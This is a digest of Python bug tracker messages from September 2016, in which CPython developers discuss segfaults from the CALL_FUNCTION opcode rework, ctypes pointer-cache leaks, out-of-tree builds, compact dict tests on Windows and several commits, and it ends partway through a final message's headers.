In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <1473581451.1.0.867666638191.issue23591@psf.upfronthosting.co.za>


Vedran ?a?i? added the comment:

> Which means it has methods such as __getitem__, __setitem__, etc., which means those methods can implement whatever is needed to give the namespace the desired semantics (within Python syntax).

Ah, _that_'s what you had in mind. (All this time, I thought _auto_ was just a shorter name for _generate_next_value_.:) I'm ok with that. But aren't we then back to square one? (Using magic of the same kind as the "declarative style" that Raymond pronounced not Pythonic enough.)

Even Raymond says
> As long as _auto_ has been defined somewhere (i.e. from enum import _auto_), it is normal Python

I'm sure he didn't think of the loophole you're currently exploiting. :-D

But anyway, I'm happy. Parentheses are there, so the intuition of calling a function to execute code is respected, and if you get out free with this hack, it opens a door a bit wider for complete declarative solution in the future.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23591>
_______________________________________

From report at bugs.python.org  Sun Sep 11 04:15:52 2016
From: report at bugs.python.org (STINNER Victor)
Date: Sun, 11 Sep 2016 08:15:52 +0000
Subject: [issue27932] platform.win32_ver() leaks in 2.7.12
In-Reply-To: <1473551070.28.0.013693993196.issue27932@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwa31J3fRPL65fLvTzENUR-n_Wu3oT=JYmgZQ0GsJEB3ow@mail.gmail.com>


STINNER Victor added the comment:

> pointer-type cache grows without bound

Maybe we should also fix ctypes to use an LRU cache like
@functools.lru_cache? A cache without limit doesn't seem like a good
idea.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27932>
_______________________________________

From report at bugs.python.org  Sun Sep 11 04:24:06 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 11 Sep 2016 08:24:06 +0000
Subject: [issue26885] Add parsing support for more types in xmlrpc
In-Reply-To: <1461943983.79.0.576979457392.issue26885@psf.upfronthosting.co.za>
Message-ID: <20160911082403.87704.58453.6E49614A@psf.io>


Roundup Robot added the comment:

New changeset ef63e1c999bd by Serhiy Storchaka in branch 'default':
Issue #26885: xmlrpc now supports unmarshalling additional data types used
https://hg.python.org/cpython/rev/ef63e1c999bd

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26885>
_______________________________________

From report at bugs.python.org  Sun Sep 11 04:39:10 2016
From: report at bugs.python.org (STINNER Victor)
Date: Sun, 11 Sep 2016 08:39:10 +0000
Subject: [issue26900] Exclude the private API from the stable API
In-Reply-To: <20160911080342.48696.20519.592C2ECF@psf.io>
Message-ID: <CAMpsgwb7Qc=exxjECDgj5hBNoOwtgxzfCApKfYEx=o8+Zo6edg@mail.gmail.com>


STINNER Victor added the comment:

I didn't follow this discussion, but thanks for the fix Serhiy :-) By
the way, I started a thread on python-dev to discuss a new
organization of the C API for Python 3.7.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26900>
_______________________________________

From report at bugs.python.org  Sun Sep 11 04:50:48 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 11 Sep 2016 08:50:48 +0000
Subject: [issue26900] Exclude the private API from the stable API
In-Reply-To: <1462097873.28.0.0706601779139.issue26900@psf.upfronthosting.co.za>
Message-ID: <1473583848.33.0.517720540305.issue26900@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Maybe new private functions was added after writing the patch.

And many new public functions was added without guarding by specific Py_LIMITED_API value. This is separate issue.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26900>
_______________________________________

From report at bugs.python.org  Sun Sep 11 04:55:24 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sun, 11 Sep 2016 08:55:24 +0000
Subject: [issue27213] Rework CALL_FUNCTION* opcodes
In-Reply-To: <1465026334.02.0.369802561902.issue27213@psf.upfronthosting.co.za>
Message-ID: <1473584124.74.0.148098064644.issue27213@psf.upfronthosting.co.za>


Berker Peksag added the comment:

I'm getting segfaults with a77756e480c2 (thanks to 'hg bisect') on Ubuntu 12.04. I've checked buildbots, but they seem happy.

In test_sys:

test_recursionlimit_recovery (test.test_sys.SysModuleTest) ... Fatal Python error: Segmentation fault

In test_runpy:

test_main_recursion_error (test.test_runpy.RunPathTestCase) ... Fatal Python error: Segmentation fault

I'm also getting the following error with Serhiy's latest patch:

python: Objects/abstract.c:2385: _PyStack_AsDict: Assertion `PyDict_GetItem(kwdict, key) != ((void *)0)' failed.
Aborted (core dumped)
generate-posix-vars failed
make: *** [pybuilddir.txt] Error 1

----------
nosy: +berker.peksag

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27213>
_______________________________________

From report at bugs.python.org  Sun Sep 11 05:01:17 2016
From: report at bugs.python.org (STINNER Victor)
Date: Sun, 11 Sep 2016 09:01:17 +0000
Subject: [issue27213] Rework CALL_FUNCTION* opcodes
In-Reply-To: <1465026334.02.0.369802561902.issue27213@psf.upfronthosting.co.za>
Message-ID: <1473584477.03.0.60426116057.issue27213@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Author: Berker Peksag (berker.peksag) * (Python committer) 	Date: 2016-09-11 08:55

Berker: "I'm getting segfaults with a77756e480c2 (thanks to 'hg bisect') on Ubuntu 12.04 (...)
test_recursionlimit_recovery (...) test_main_recursion_error (...)"

We should check if the change counts correctly the number of frames.

In callfunc-10.patch, Serhiy modified a counter related to recursion limit/number of frames to fix test_traceback (issue #28050). He wrote on the review:

"Seems the number 50 is arbitrary. Now we should increase it. Why? This issue needs further investigation. Maybe this is a sign of regression."

To me, it's suspicious that we have to modify an unit test. Changing the opcode or internals must not have an impact on unit tests on recursion error.

Note: It might also be related to my FASTCALL changes, but you wrote that "hg bisect" pointed you to this change.


Berker: "I'm also getting the following error with Serhiy's latest patch: python: Objects/abstract.c:2385: _PyStack_AsDict: Assertion `PyDict_GetItem(kwdict, key) != ((void *)0)' failed."

This one might be related to the compact dict change.


Note: Just to make be sure that it is not a local issue, please try a "make distclean" and make sure that all .pyc files are removed, and then recompile Python.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27213>
_______________________________________

From report at bugs.python.org  Sun Sep 11 05:04:40 2016
From: report at bugs.python.org (ramson)
Date: Sun, 11 Sep 2016 09:04:40 +0000
Subject: [issue28075] py35 os.stat behavoir different than python 2.7
Message-ID: <1473584680.43.0.379847844225.issue28075@psf.upfronthosting.co.za>


New submission from ramson:

doing os.stat on the directory c:\config.msi gives different results on my Windows 10 machine, when done with py27 and py35
------------------------------------------------------
Python 2.7.12 (v2.7.12:d33e0cf91556, Jun 27 2016, 15:24:40) [MSC v.1500 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.stat('c:\\config.msi')
nt.stat_result(st_mode=16895, st_ino=0L, st_dev=0L, st_nlink=0, st_uid=0, st_gid=0, st_size=2891776L, st_atime=1473584558L, st_mtime=1473584558L, st_ctime=1449228297L)

------------------------------------------------------
Python 3.5.2 (v3.5.2:4def2a2901a5, Jun 25 2016, 22:18:55) [MSC v.1900 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.stat('c:\\config.msi')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
PermissionError: [WinError 5] Zugriff verweigert: 'c:\\config.msi'

-> Access denied

----------
components: Windows
messages: 275750
nosy: paul.moore, ramson, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: py35 os.stat behavoir different than python 2.7
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28075>
_______________________________________

From report at bugs.python.org  Sun Sep 11 05:08:20 2016
From: report at bugs.python.org (Martin Panter)
Date: Sun, 11 Sep 2016 09:08:20 +0000
Subject: [issue15819] Unable to build Python out-of-tree when source tree
 is	readonly.
In-Reply-To: <1346309362.14.0.312540957077.issue15819@psf.upfronthosting.co.za>
Message-ID: <1473584900.74.0.333649376203.issue15819@psf.upfronthosting.co.za>


Martin Panter added the comment:

Perhaps there should be a comment explaining that you can?t write to $(srcdir). Or even a buildbot that does an out-of-tree build. Every now and then I seem to be defending against patches that want to change targets back to $(srcdir).

Also, Trent?s last change, revision 65b3c41052b6, does not seem to work. Apparently $abs_srcdir etc are only valid when substituted in a makefile, and are not valid in the configure script: <https://lists.gnu.org/archive/html/autoconf/2010-07/msg00021.html>. I will try to post a patch that addresses this to Issue 28066.

----------
dependencies: +[Patch] Fix the ability to cross compile Python when doing a rebuild of importlib.h
nosy: +martin.panter

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15819>
_______________________________________

From report at bugs.python.org  Sun Sep 11 05:10:59 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sun, 11 Sep 2016 09:10:59 +0000
Subject: [issue27213] Rework CALL_FUNCTION* opcodes
In-Reply-To: <1465026334.02.0.369802561902.issue27213@psf.upfronthosting.co.za>
Message-ID: <1473585059.08.0.121772114205.issue27213@psf.upfronthosting.co.za>


Berker Peksag added the comment:

> [...] please try a "make distclean" and make sure that all .pyc files are removed, and then recompile Python.

I forgot to mention that in my earlier comment. I usually run "make distclean" before "./configure --with-pydebug; make -s -j" so unfortunately running "make distclean" didn't help.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27213>
_______________________________________

From report at bugs.python.org  Sun Sep 11 05:19:11 2016
From: report at bugs.python.org (Eryk Sun)
Date: Sun, 11 Sep 2016 09:19:11 +0000
Subject: [issue27932] platform.win32_ver() leaks in 2.7.12
In-Reply-To: <1472744071.14.0.482080718706.issue27932@psf.upfronthosting.co.za>
Message-ID: <1473585551.24.0.210745057455.issue27932@psf.upfronthosting.co.za>


Eryk Sun added the comment:

Limiting the pointer-type cache could be a problem. It's expected that POINTER() returns a reference to an existing pointer type. ctypes uses Python types to ensure compatible C data types. For example:

    LP_c_int = ctypes.POINTER(ctypes.c_int)

    class LP_c_int_uncached(ctypes._Pointer):
        _type_ = ctypes.c_int

    >>> arr = (LP_c_int * 2)()
    >>> ctypes.POINTER(ctypes.c_int) is LP_c_int
    True
    >>> arr[0] = ctypes.POINTER(ctypes.c_int)()
    >>> arr[1] = LP_c_int_uncached()
    Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
    TypeError: incompatible types, LP_c_int_uncached instance
    instead of LP_c_int instance

The docs could warn users that the cache used by ctypes.POINTER(), and implicitly by ctypes.pointer(), will leak memory if it's called with a type that's created at function scope instead of at module or class-body scope.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27932>
_______________________________________

From report at bugs.python.org  Sun Sep 11 05:20:46 2016
From: report at bugs.python.org (Martin Panter)
Date: Sun, 11 Sep 2016 09:20:46 +0000
Subject: [issue28066] [Patch] Fix the ability to cross compile Python when
 doing a rebuild of importlib.h
In-Reply-To: <1473534121.66.0.287629200488.issue28066@psf.upfronthosting.co.za>
Message-ID: <1473585646.59.0.661593257087.issue28066@psf.upfronthosting.co.za>


Martin Panter added the comment:

There are various tricky cases to be considered with the regenerated files like importlib.h. One of them is that you are supposed to be able to build Python from a read-only source tree. See Issue 15819. Writing files into $(srcdir) would break this.

Also, as I just wrote in that bug, the built Python/importlib.h is already supposed to be searchable. However the logic seems to be broken. Can you see if this patch helps?

----------
stage:  -> patch review
Added file: http://bugs.python.org/file44548/srcdir-check.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28066>
_______________________________________

From report at bugs.python.org  Sun Sep 11 05:22:07 2016
From: report at bugs.python.org (Martin Panter)
Date: Sun, 11 Sep 2016 09:22:07 +0000
Subject: [issue28066] [Patch] Fix the ability to cross compile Python when
 doing a rebuild of importlib.h
In-Reply-To: <1473534121.66.0.287629200488.issue28066@psf.upfronthosting.co.za>
Message-ID: <1473585727.88.0.131601492466.issue28066@psf.upfronthosting.co.za>


Changes by Martin Panter <vadmium+py at gmail.com>:


Removed file: http://bugs.python.org/file44548/srcdir-check.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28066>
_______________________________________

From report at bugs.python.org  Sun Sep 11 05:24:14 2016
From: report at bugs.python.org (Martin Panter)
Date: Sun, 11 Sep 2016 09:24:14 +0000
Subject: [issue28066] [Patch] Fix the ability to cross compile Python when
 doing a rebuild of importlib.h
In-Reply-To: <1473534121.66.0.287629200488.issue28066@psf.upfronthosting.co.za>
Message-ID: <1473585854.59.0.170787548452.issue28066@psf.upfronthosting.co.za>


Changes by Martin Panter <vadmium+py at gmail.com>:


Added file: http://bugs.python.org/file44549/srcdir-check.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28066>
_______________________________________

From report at bugs.python.org  Sun Sep 11 05:27:15 2016
From: report at bugs.python.org (INADA Naoki)
Date: Sun, 11 Sep 2016 09:27:15 +0000
Subject: [issue28061] Compact dict bug on Windows (Visual Studio): if
 (mp->ma_keys->dk_usable * 3 < other->ma_used * 2)
In-Reply-To: <1473509102.04.0.505465469973.issue28061@psf.upfronthosting.co.za>
Message-ID: <1473586035.11.0.218187893217.issue28061@psf.upfronthosting.co.za>


INADA Naoki added the comment:

I built acfe53a (git hash).  Then:

c:\Users\inada-n\work\cpython>PCbuild\win32\python_d.exe -m test.test_dict
..............................................................................
----------------------------------------------------------------------
Ran 78 tests in 1.262s

OK

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28061>
_______________________________________

From report at bugs.python.org  Sun Sep 11 05:35:44 2016
From: report at bugs.python.org (STINNER Victor)
Date: Sun, 11 Sep 2016 09:35:44 +0000
Subject: [issue28061] Compact dict bug on Windows (Visual Studio): if
 (mp->ma_keys->dk_usable * 3 < other->ma_used * 2)
In-Reply-To: <1473509102.04.0.505465469973.issue28061@psf.upfronthosting.co.za>
Message-ID: <1473586544.0.0.027534182063.issue28061@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Emanuel Barry: What is your Visual Studio (exact) version? I know that there are service packs for VS. What is your Windows version?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28061>
_______________________________________

From report at bugs.python.org  Sun Sep 11 05:35:50 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Sun, 11 Sep 2016 09:35:50 +0000
Subject: [issue27364] Deprecate invalid escape sequences in str/bytes
In-Reply-To: <1466541260.02.0.320668077341.issue27364@psf.upfronthosting.co.za>
Message-ID: <1473586550.65.0.533717871717.issue27364@psf.upfronthosting.co.za>


Chi Hsuan Yen added the comment:

Currently the deprecation message is not so useful when fixing lots of files in a large project. For example, I have two files foo.py and bar.py:

# foo.py
import bar

# bar.py
print('\d')

It gives:
$ python3.6 -W error foo.py
Traceback (most recent call last):
  File "foo.py", line 1, in <module>
    import bar
DeprecationWarning: invalid escape sequence '\d'

Things are worse when __import__, imp or importlib are involved. I have to add some codes to show which module is imported.

It would be better to have at least filenames and line numbers:
$ ./python -W error foo.py
Traceback (most recent call last):
  File "foo.py", line 1, in <module>
    import bar
  File "/home/yen/Projects/cpython/build/bar.py", line 1
    print('\d')
         ^
SyntaxError: (deprecated usage) invalid escape sequence '\d'

I have a naive try that prints more information. Raising SyntaxError may not be a good idea, anyway.

----------
nosy: +Chi Hsuan Yen
Added file: http://bugs.python.org/file44550/verbose-deprecation.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27364>
_______________________________________

From report at bugs.python.org  Sun Sep 11 05:50:22 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 11 Sep 2016 09:50:22 +0000
Subject: [issue22493] Deprecate the use of flags not at the start of regular
 expression
In-Reply-To: <1411640940.81.0.804351058131.issue22493@psf.upfronthosting.co.za>
Message-ID: <20160911095019.21256.35365.7CC681D6@psf.io>


Roundup Robot added the comment:

New changeset 31f8af1c3567 by Serhiy Storchaka in branch 'default':
Issue #22493: Inline flags now should be used only at the start of the
https://hg.python.org/cpython/rev/31f8af1c3567

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22493>
_______________________________________

From report at bugs.python.org  Sun Sep 11 05:54:52 2016
From: report at bugs.python.org (STINNER Victor)
Date: Sun, 11 Sep 2016 09:54:52 +0000
Subject: [issue28061] Compact dict bug on Windows (Visual Studio): if
 (mp->ma_keys->dk_usable * 3 < other->ma_used * 2)
In-Reply-To: <1473586544.0.0.027534182063.issue28061@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwZuLCEg-WxjvG3-5Gybmw_ih6r4Q0Sd_=CNmjCaZksHrw@mail.gmail.com>


STINNER Victor added the comment:

> Emanuel Barry: What is your Visual Studio (exact) version? I know that there are service packs for VS. What is your Windows version?

Oh, same questions for you Naoki in fact :-) It may help to check if
it's related to VS, Windows or if it's something else.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28061>
_______________________________________

From report at bugs.python.org  Sun Sep 11 05:56:43 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 11 Sep 2016 09:56:43 +0000
Subject: [issue10740] sqlite3 module breaks transactions and potentially
 corrupts data
In-Reply-To: <1292868135.81.0.257293444934.issue10740@psf.upfronthosting.co.za>
Message-ID: <20160911095641.19423.27699.4236B9A9@psf.io>


Roundup Robot added the comment:

New changeset 284676cf2ac8 by Berker Peksag in branch 'default':
Issue #10740: sqlite3 no longer implicitly commit an open transaction before DDL statements
https://hg.python.org/cpython/rev/284676cf2ac8

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue10740>
_______________________________________

From report at bugs.python.org  Sun Sep 11 06:00:33 2016
From: report at bugs.python.org (Antti Haapala)
Date: Sun, 11 Sep 2016 10:00:33 +0000
Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer
In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za>
Message-ID: <1473588033.59.0.675771231528.issue28055@psf.upfronthosting.co.za>


Antti Haapala added the comment:

There is no need to ifdef anything, the memcpy is the only correct way to do it. As memcpy is also a reserved identifier in C, the compiler can and will optimize this into a 64-bit access on those platforms where it can be safely done so (x86 for example), e.g. GCC compiles

    uint64_t func(char *buf) {
        uint64_t rv;
        memcpy(&rv, buf+3, sizeof(rv));
        return rv;
    }

into

    movq    3(%rdi), %rax
    ret

On Linux 64-bit ABI.

----------
nosy: +ztane

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28055>
_______________________________________

From report at bugs.python.org  Sun Sep 11 06:02:25 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 11 Sep 2016 10:02:25 +0000
Subject: [issue27991] In the argparse howto there is a misleading sentence
 about store_true
In-Reply-To: <1473217458.1.0.785896151958.issue27991@psf.upfronthosting.co.za>
Message-ID: <20160911100222.13175.13397.2F373F9B@psf.io>


Roundup Robot added the comment:

New changeset 0e45cd7859ec by Berker Peksag in branch '3.5':
Issue #27991: Remove incorrect sentence about store_true
https://hg.python.org/cpython/rev/0e45cd7859ec

New changeset 9a75fa28bd0a by Berker Peksag in branch 'default':
Issue #27991: Merge from 3.5
https://hg.python.org/cpython/rev/9a75fa28bd0a

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27991>
_______________________________________

From report at bugs.python.org  Sun Sep 11 06:02:56 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sun, 11 Sep 2016 10:02:56 +0000
Subject: [issue27991] In the argparse howto there is a misleading sentence
 about store_true
In-Reply-To: <1473217458.1.0.785896151958.issue27991@psf.upfronthosting.co.za>
Message-ID: <1473588176.44.0.226885084151.issue27991@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Good catch, thanks!

----------
nosy: +berker.peksag
resolution:  -> fixed
stage:  -> resolved
status: open -> closed
versions: +Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27991>
_______________________________________

From report at bugs.python.org  Sun Sep 11 06:07:34 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 11 Sep 2016 10:07:34 +0000
Subject: [issue27952] Finish converting fixcid.py from regex to re
In-Reply-To: <1472969793.48.0.218337698391.issue27952@psf.upfronthosting.co.za>
Message-ID: <20160911100728.59867.8807.738116A1@psf.io>


Roundup Robot added the comment:

New changeset 740e43eb8138 by Martin Panter in branch '2.7':
Issue #27952: Get fixcid.py working with the re module
https://hg.python.org/cpython/rev/740e43eb8138

New changeset ca68bb597df9 by Martin Panter in branch '3.5':
Issue #27952: Get fixcid.py working with the re module
https://hg.python.org/cpython/rev/ca68bb597df9

New changeset 8dde3dcab1e8 by Martin Panter in branch 'default':
Issue #27952: Merge fixcid.py from 3.5
https://hg.python.org/cpython/rev/8dde3dcab1e8

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27952>
_______________________________________

From report at bugs.python.org  Sun Sep 11 06:07:43 2016
From: report at bugs.python.org (INADA Naoki)
Date: Sun, 11 Sep 2016 10:07:43 +0000
Subject: [issue28061] Compact dict bug on Windows (Visual Studio): if
 (mp->ma_keys->dk_usable * 3 < other->ma_used * 2)
In-Reply-To: <1473509102.04.0.505465469973.issue28061@psf.upfronthosting.co.za>
Message-ID: <1473588463.71.0.161110622554.issue28061@psf.upfronthosting.co.za>


INADA Naoki added the comment:

I noticed I tested win32 mode.  I'll rebuild on amd64 mode.

> Oh, same questions for you Naoki in fact :-)

I don't know about how to describe exist version of my Windows environment. Is these enough?

Windows 10 Home (with Anniversary Update)
10.0.14393 build 14393

Microsoft Visual Studio Community 2015
Version 14.0.25425.01 Update 3
Microsoft .NET Framework
Version 4.6.01586
Installed Version: Community
Microsoft Visual C++ 2015


>cl /?
Microsoft (R) C/C++ Optimizing Compiler Version 19.00.24213.1 for x86

C:\Users\inada-n\work\cpython>PCbuild\win32\python_d.exe
Python 3.6.0a4+ (default, Sep 11 2016, 18:22:14) [MSC v.1900 32 bit (Intel)] on win32

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28061>
_______________________________________

From report at bugs.python.org  Sun Sep 11 06:07:45 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 11 Sep 2016 10:07:45 +0000
Subject: [issue27213] Rework CALL_FUNCTION* opcodes
In-Reply-To: <1465026334.02.0.369802561902.issue27213@psf.upfronthosting.co.za>
Message-ID: <1473588465.7.0.583376946951.issue27213@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

> python: Objects/abstract.c:2385: _PyStack_AsDict: Assertion
> `PyDict_GetItem(kwdict, key) != ((void *)0)' failed. Aborted (core dumped)
> generate-posix-vars failed
> make: *** [pybuilddir.txt] Error 1

Ah, it's my fault. I didn't test the latest patch with debug build. Here should be == instead of !=. Could you please test updated patch? Unfortunately I can's reproduce crashes in test_sys and test_runpy (on 32-bit Linux).

----------
Added file: http://bugs.python.org/file44551/callfunc-12.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27213>
_______________________________________

From report at bugs.python.org  Sun Sep 11 06:26:18 2016
From: report at bugs.python.org (Martin Panter)
Date: Sun, 11 Sep 2016 10:26:18 +0000
Subject: [issue28022] SSL releated deprecation for 3.6
In-Reply-To: <1473347942.69.0.310193437319.issue28022@psf.upfronthosting.co.za>
Message-ID: <1473589578.36.0.533255805802.issue28022@psf.upfronthosting.co.za>


Martin Panter added the comment:

New test failure when using -Werror:

======================================================================
ERROR: test_local_bad_hostname (test.test_httplib.HTTPSTest)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/media/disk/home/proj/python/cpython/Lib/test/test_httplib.py", line 1646, in test_local_bad_hostname
    check_hostname=True)
  File "/media/disk/home/proj/python/cpython/Lib/http/client.py", line 1373, in __init__
    DeprecationWarning, 2)
DeprecationWarning: key_file, cert_file and check_hostname are deprecated, use a custom context instead.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28022>
_______________________________________

From report at bugs.python.org  Sun Sep 11 06:32:40 2016
From: report at bugs.python.org (Kubilay Kocak)
Date: Sun, 11 Sep 2016 10:32:40 +0000
Subject: [issue15819] Unable to build Python out-of-tree when source tree
 is	readonly.
In-Reply-To: <1346309362.14.0.312540957077.issue15819@psf.upfronthosting.co.za>
Message-ID: <1473589960.53.0.265915228824.issue15819@psf.upfronthosting.co.za>


Kubilay Kocak added the comment:

@Martin Maybe Zach (nosey'd) can help us get an out-of-tree builder set up?

If this is relevant for 3.5+, versions should be updated accordingly.

----------
nosy: +zach.ware

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15819>
_______________________________________

From report at bugs.python.org  Sun Sep 11 06:33:10 2016
From: report at bugs.python.org (INADA Naoki)
Date: Sun, 11 Sep 2016 10:33:10 +0000
Subject: [issue28061] Compact dict bug on Windows (Visual Studio): if
 (mp->ma_keys->dk_usable * 3 < other->ma_used * 2)
In-Reply-To: <1473509102.04.0.505465469973.issue28061@psf.upfronthosting.co.za>
Message-ID: <1473589990.41.0.366451333337.issue28061@psf.upfronthosting.co.za>


INADA Naoki added the comment:

amd64 result

c:\Users\inada-n\work\cpython>PCbuild\amd64\python_d.exe -m test.test_dict
..............................................................................
----------------------------------------------------------------------
Ran 78 tests in 1.498s

OK

c:\Users\inada-n\work\cpython>PCbuild\amd64\python_d.exe
Python 3.6.0a4+ (default, Sep 11 2016, 19:10:48) [MSC v.1900 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28061>
_______________________________________

From report at bugs.python.org  Sun Sep 11 06:35:56 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sun, 11 Sep 2016 10:35:56 +0000
Subject: [issue27213] Rework CALL_FUNCTION* opcodes
In-Reply-To: <1465026334.02.0.369802561902.issue27213@psf.upfronthosting.co.za>
Message-ID: <1473590156.09.0.0441969420073.issue27213@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thanks, Serhiy.

test_recursionlimit_recovery in test_sys passed, but now I'm getting the following failure:

FAIL: test_recursionlimit_fatalerror (test.test_sys.SysModuleTest)

I modified test_recursionlimit_fatalerror to use subTest() and it looks like the test passed when sys.setrecursionlimit(50). See i=1000 in the following output:

======================================================================
FAIL: test_recursionlimit_fatalerror (test.test_sys.SysModuleTest) (i=1000)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/home/berker/hacking/cpython/default/Lib/test/test_sys.py", line 283, in test_recursionlimit_fatalerror
    err)
AssertionError: b'Fatal Python error: Cannot recover from stack overflow' not found in b''

----------------------------------------------------------------------

test_runpy still segfaults:

test_main_recursion_error (test.test_runpy.RunPathTestCase) ... Fatal Python error: Segmentation fault

I wrote a quick and dirty reproducer for this. I can attach here if you think it would be useful for debugging.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27213>
_______________________________________

From report at bugs.python.org  Sun Sep 11 06:48:51 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 11 Sep 2016 10:48:51 +0000
Subject: [issue27129] Wordcode, part 2
In-Reply-To: <1464268387.83.0.862540030058.issue27129@psf.upfronthosting.co.za>
Message-ID: <20160911104848.8881.11486.A4234F90@psf.io>


Roundup Robot added the comment:

New changeset dd046963bd42 by Serhiy Storchaka in branch 'default':
Issue #27129: Replaced wordcode related magic constants with macros.
https://hg.python.org/cpython/rev/dd046963bd42

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27129>
_______________________________________

From report at bugs.python.org  Sun Sep 11 06:50:58 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Sun, 11 Sep 2016 10:50:58 +0000
Subject: [issue28076] Variable annotations should be mangled for private names
Message-ID: <1473591058.67.0.814364410538.issue28076@psf.upfronthosting.co.za>


New submission from Ivan Levkivskyi:

Variable annotations for private names are stored in __annotations__ without name mangling. This is inconsistent with how function annotations behave:

class C:
   def meth(__x: int): ...

assert C.meth.__annotations__ == {'_C__x': int}

The attached patch fixes variable annotations to behave in the same way:

class C:
    __foo: int = 1

assert C.__dict__['_C_foo'] == 1
assert C.__annotations__['_C__foo'] == int

----------
components: Interpreter Core
files: mangle-ann.diff
keywords: patch
messages: 275772
nosy: gvanrossum, levkivskyi
priority: normal
severity: normal
status: open
title: Variable annotations should be mangled for private names
type: behavior
versions: Python 3.6
Added file: http://bugs.python.org/file44552/mangle-ann.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28076>
_______________________________________

From report at bugs.python.org  Sun Sep 11 07:49:30 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sun, 11 Sep 2016 11:49:30 +0000
Subject: [issue27129] Wordcode, part 2
In-Reply-To: <1464268387.83.0.862540030058.issue27129@psf.upfronthosting.co.za>
Message-ID: <1473594570.17.0.762051126574.issue27129@psf.upfronthosting.co.za>


Berker Peksag added the comment:

>From http://buildbot.python.org/all/builders/s390x%20Debian%203.x/builds/1811/steps/compile/logs/stdio (I also saw the same compile error on another Linux boxes)

_freeze_importlib: Python/peephole.c:524: PyCode_Optimize: Assertion `((codestr[i]) >> 8) == 100' failed.
Makefile:735: recipe for target 'Python/importlib.h' failed
make: *** [Python/importlib.h] Aborted

----------
nosy: +berker.peksag

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27129>
_______________________________________

From report at bugs.python.org  Sun Sep 11 07:52:44 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 11 Sep 2016 11:52:44 +0000
Subject: [issue25497] Rewrite test_robotparser
In-Reply-To: <1446041150.72.0.906837091061.issue25497@psf.upfronthosting.co.za>
